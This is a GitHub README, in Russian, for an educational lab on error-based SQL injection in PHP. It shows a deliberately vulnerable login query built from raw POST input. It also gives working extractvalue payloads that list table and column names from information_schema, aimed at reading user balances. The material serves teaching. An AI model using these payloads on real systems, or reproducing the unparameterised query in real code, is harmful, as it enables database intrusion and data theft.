Skip to content

chartyom/sql-injection-example-php

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

15 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

SQL injection on PHP

Пример применения sql инъекций на PHP. Эта работа создана в образовательных целях и показывает программистам как не надо писать код. Данный сайт является примером эксплуатации уязвимости типа error-based. В основе примера обычная форма авторизации на сайте, состоящая из двух полей логина и пароля.

Software License

Требуется

  • Запущеный OpenServer или аналоги с PHP и MySQL
  • GIT
  • Browser или Postman

Установка и подготовка к запуску

  1. Сохранить репозиторий на своём ПК
git clone https://github.com/chartyom/sql-injection-example-php.git
  1. Сформировать базу данных открыв в браузере
/init_db.php
  1. Открыть основной файл
/index.php

Приступим

Как выглядит уязвимый код на PHP

$login = $_POST['login'];
$password = $_POST['password'];
$sql = "SELECT id FROM users WHERE login = '$login' and password = '$password'";
if ($result = mysqli_query($link, $sql)) {
    if (mysqli_num_rows($result)) {
        $authenticated = true;
    } else {
        $error_message = 'Не правильные логин или пароль';
    }
} else {
    $error_message = mysqli_error($link);
}
  1. Пробуем авторизоваться, подставив в любое поле кaвычку (‘), в результате чего получаем ошибку.

В результате получаем такой конечный вид запроса к базе данных, который вызывает ошибку:

SELECT id FROM users WHERE login = ''' and password = '';
  1. Получаем название первой таблицы из текущей базы данных:
' and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) -- comment

для получения второй и последующих названий таблиц необходимо поменять limit 0,1 на limit 1,1 и тд.

  1. Далее, зная название существующих таблиц в базе данных, требуется найти названия атрибутов:
' and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name='название таблицы' limit 0,1))) -- comment

для получения второго и последующих названий атрибутов необходимо поменять limit 0,1 на limit 1,1 и тд.

  1. Конечная цель получить текущий баланс баллов пользователя.

License

The MIT License (MIT). Please see License File for more information.

About

🔥 example sql injection on php

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published